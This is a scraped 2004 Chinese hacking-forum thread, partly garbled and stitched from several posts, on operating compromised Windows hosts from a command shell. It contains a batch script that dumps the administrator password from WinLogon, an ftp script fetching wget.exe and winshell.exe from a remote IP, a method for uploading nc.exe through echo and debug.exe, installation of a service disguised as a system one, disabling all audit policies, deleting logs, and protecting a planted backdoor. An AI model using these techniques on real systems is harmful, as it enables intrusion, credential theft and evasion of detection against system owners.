@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat__END_________________________________

下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%\_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%\_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%\_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w








日期:2004-5-9 13:02:06
--------------------------------------------------------------------------------

作者:zzzEVAzzz
目录
1,前言
2,文件传输
3,系统配置
4,网络配置
5,软件安装
6,Windows脚本
7,附言

前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。
文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:

1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:

@echo ^ >up.asp

注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:

with wscript
if .arguments.count>dl.vbs
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs

举例——下载ps.exe并保存到c:\path下:

cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe

注意,这是在远程shell中执行的。

4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出“杀手锏”了!

echo命令加重定向x作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位x作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)

无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本:

fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with

将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:

cscript echo.vbs nc.exe

也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:

@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs

全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。
如果网速不是很慢的话,整个上传过程大约需要20秒。

几点说明:
1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2,在传输大文件前,可以先传个小的文件作为“热身”,让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。
3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。
4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。

能上传文件当然一切都好办了,但很多x作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。


系统配置
这节包括三方面内容:注册表、服务和组策略。

先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。
好在系统自带的regedit.exe足够用了。

1,读取注册表
先将想查询的注册表项导出,再用type查看,比如:

C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d

C:\>del 1.reg

所以终端服务的端口是3389(十六进制d3d)

2,修改/删除注册表项
先echo一个reg文件,然后导入,比如:

echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg

将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。

要删除一个项,在名字前面加减号,比如:

[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]

要删除一个值,在等号后面用减号,比如:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KAVRun"=-

3,用inf文件访问注册表
上面对注册表的三个x作,也可以用下面这个inf文件来实现:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun

将它写入c:\path\reg.inf然后用下面这个命令“安装”:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf

几点说明:
1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
2323也可以用0x913代替。
关于inf文件的详细信息,可以参考DDK帮助文档。
2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。
128表示给定路径,该参数其他取值及含义参见MSDN。
特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
3,inf文件中的项目都是大小写不敏感的。


接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,原因后?*崽岬健;故堑?*inf文件出马。

增加一个服务:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe

保存为inetsvr.inf,然后:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf

这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。

几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。

删除一个服务:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr

很简单,不是吗?

当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。如果用REG_SZ代?*嵊行┪侍狻??荒苡没肪潮淞苛恕<粗荒苁褂猛暾?肪丁S胕nf文件完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。

另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。


最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。

先看secedit命令语法:
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。

与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:

假设我要将密码长度最小值设置为6,并启用“密码必须符合复杂性要求”,那么先写这么一个模板:

[version]
signature="$CHICAGO$"
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1

保存为gp.inf,然后导入:

secedit /configure /db gp.sdb /cfg gp.inf /quiet

这个命令执行完成后,将在当前目录产生一个gp.sdb,它是“中间产品”,你可以删除它。
/quiet参数表示“安静模式”,不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如:

secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*

另外,在导入模板前,还可以先分析语法是否正确:

secedit /validate gp.inf

那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板,在%windir%\security\templates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。

再举个例子——关闭所有的“审核策略”。(它所审核的事件将记录在事件查看器的“安全性”里)。
echo版:

echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*

也许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如“审核策略”就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有“管理模板”这一部分是完全基于注册表的。而且,知道了具体位置,用哪个方法都不复杂。

比如,XP和2003的“本地策略”-》“安全选项”增加了一个“本地帐户的共享和安全模式”策略。XP下默认的设置是“仅来宾”。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为“经典”:

echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg

而相应的用inf,应该是:

echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*

关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%\security\database\secedit.sdb,将它导出至inf文件:

secedit /export /cfg gp.inf /log 1.log

没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。

不过,这样得到的只是组策略的一部分(即“Windows设置”)。而且,某个策略如果未配置,是不会被导出的。比如“重命名系统管理员帐户”,只有被定义了才会在inf文件中出现NewAdministratorName="***"。对于无法导出的其他的组策略只有通过访问注册表来获得了。

此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是“空”。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。


网络配置
Windows自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……
这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。

netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次重定向输出输出,所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。

netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。

1,TCP/IP配置

echo interface ip >s
echo show config >>s
netsh -f s
del s

由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。
这个命令和ipconfig /all差不多。

注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后
net start remoteaccess

2,ARP

echo interface ip >s
echo show ipnet >>s
netsh -f s
del s

这个比arp -a命令多一点信息。

3,TCP/UDP连接

echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s

这组命令和netstat -an一样。

4,网卡信息
如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替的了。

echo interface ip >s
echo show interface >>s
netsh -f s
del s

netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就“叫天不应叫地不灵”了),所以全部略过。

IPSec
首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。

XP系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。

IPSec可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。

关于ipsecpol和ipseccmd的资料,网上可以找到很多,因此本文就不细说了,只是列举一些实用的例子。
在设置IPSec策略方面,ipseccmd命令的语法和ipsecpol几乎完全一样,所以只以ipsecpol为例:

1,防御rpc-dcom攻击

ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x

这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下:
-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
-f …… 建立7个筛选器。*表示任何地址(源);0表示本机地址(目标);+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选x作是“阻塞”。注意,BLOCK必须是大写。
-w reg 将配置写入注册表,重启后仍有效。
-x 立刻激活该策略。

2,防止被ping

ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x

如果名为myfirewall的策略已存在,则antiping规则将添加至其中。
注意,该规则同时也阻止了该主机ping别人。

3,对后门进行IP限制
假设你在某主机上安装了DameWare Mini Remote Control。为了保护它不被别人暴破密码或溢出,应该限制对其服务端口6129的访问。

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x

这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP,应该根据IP分配的范围设置规则。比如:

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x

这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。

在写规则的时候,应该特别小心,不要把自己也阻塞了。如果你不确定某个规则的效果是否和预想的一样,可以先用计划任务“留下后路”。例如:

c:\>net start schedule
Task Scheduler 服务正在启动 ..
Task Scheduler 服务已经启动成功。

c:\>time /t
12:34

c:\>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业,其作业 ID = 1

然后,你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。
如果测试结果不理想,就删除该策略。

c:\>ipsecpol -p myfw -o -w reg

注意,删除策略前必须先确保它已停止。不停止它的话,即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间,默认是180分钟。

如果测试通过,那么就启用它。

c:\>ipsecpol -p myfw -x -w reg

最后说一下查看IPSec策略的办法。
对于XP很简单,一条命令搞定——ipseccmd show filters
而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。(已经上传了三个文件,也就不在乎多一个了。)

netdiag需要RemoteRegistry服务的支持。所以先启动该服务:

net start remoteregistry

不启动RemoteRegistry就会得到一个错误:

[FATAL] Failed to get system information of this machine.

netdiag这个工具功能十分强大,与网络有关的信息都可以获取!不过,输出的信息有时过于详细,超过命令行控制台cmd.exe的输出缓存,而不是每个远程cmd shell都可以用more命令来分页的。

查看ipsec策略的命令是:
netdiag /debug /test:ipsec

然后是一长串输出信息。IPSec策略位于最后。


软件安装
一个软件/工具的安装过程,一般来说只是做两件事:拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容,那么就可以自己在命令行下实现了。(不考虑安装后需要注册激活等情况)

WinPcap是个很常用的工具,但必须在窗口界面下安装。在网上也可以找到不用GUI的版本(但还是有版权页),其实我们完全可以自己做一个。

以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。
除去反安装的部分,关键的文件有三个:wpcap.dll,packet.dll和npf.sys。前面两个文件位于system32目录下,第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务。

作为系统服务,不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是,并不需要手动添加它,winpcap被调用时会自动搞定。甚至完全不用手动修改注册表,所有的事winpcap都会自己完成,只需要将三个文件复制到合适的位置就行了。

作为范例,还是演示一下如何修改注册表:利用前面说过的inf文件来实现。

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys

将上面这些内容保存为_wpcap_.inf文件。
再写一个批处理_wpcap_.bat:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0

然后用winrar将所有文件(5个)打包为自解压的exe,并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat,命令行的winpcap安装包就制作完成了。

注意,批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。

所有的软件安装,基本上可以套用这个思路。但也有例外的,那就是系统补丁的安装。
由于系统补丁有可能要?*徽?诒恢葱谢蚍梦实奈募???杂胏opy命令是不行的。
幸好,Windows补丁包支持命令行安装。
比如:

KB824146.exe -n -z -q

-n 不保留备份
-z 不重起
-q 安静模式

如果有一堆补丁要打,那么用RAR打包成自解压文件,外加一个批处理。

for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0


Windows脚本
很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。

1,显示系统版本

@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

2,列举进程

@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

3,终止进程

@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs

要终止PID为123的进程,使用如下语法:
cscript pk.vbs 123

如果显示一个0,表示终止成功。

然后:
del pk.vbs

4,重启系统

@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs

5,列举自启动的服务

@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

6,列举正在运行的服务

@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

7,显示系统最后一次启动的时间

@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs

显示结果的格式是:
yyyymmddHHMMSS******ZZZZ
_年_月日时分秒_微秒_时区

8,显示系统运行时间

@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1)=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint?^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs

这个运行时间是从性能计数器中获得的64位整型数,不会出现在49.7天后溢出的情况。

附言
cmd shell博大精深,本文挂一漏万讲了一些常用技巧,希望对各位有所帮助。

也许你早知道了这些方法,也许你有更好的方法,希望你能写出来和大家分享
zyza

核心成员

积分:836
贴数:997
经验:1
日期: 2004-5-9 17:06:03   
--------------------------------------------------------------------------------

难得一见的好文章
xlen


积分:455
贴数:133
经验:1
日期: 2004-5-10 10:50:50   
--------------------------------------------------------------------------------


的确是好贴啊!

支持!  
yu736146


积分:0
贴数:1
经验:1
日期: 2004-5-10 19:07:00   
--------------------------------------------------------------------------------

显示系统运行时间

@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1)=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint?^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs

中间的表情是什么?




telnet/ftp命令一詳細介紹  

--------------------------------------------------------------------------------

文章来源:( 原创 )  阅读: 32 次 发布日期:2004-4-16 14:35:16


  
作用:将文件传送到正在运行 FTP 服务的远程计算机或从正在运行 FTP 服务的远程计算机传送文件(有时称作 daemon)。Ftp 可以交互使用。

用法:

(1)直接进入FTP以命令行的方式交互执行。执行后显示为FTP>。
(2)ftp [-v] [-n] [-i] [-d] [-g] [-s:filename] [-a] [-w:windowsize] [computer]
参数说明:
-v 禁止显示远程服务器响应。
-n 禁止自动登录到初始连接。
-i 多个文件传送时关闭交互提示。
-d 启用调试、显示在客户端和服务器之间传递的所有 ftp 命令。
-g 禁用文件名组,它允许在本地文件和路径名中使用通配符字符(* 和 ?)。
-s: filename 指定包含 ftp 命令的文本文件;当 ftp 启动后,这些命令将自动运行。该参数中不允许有空格。使用该开关而不是重定向 (>)。

-a 在捆绑数据连接时使用任何本地接口。
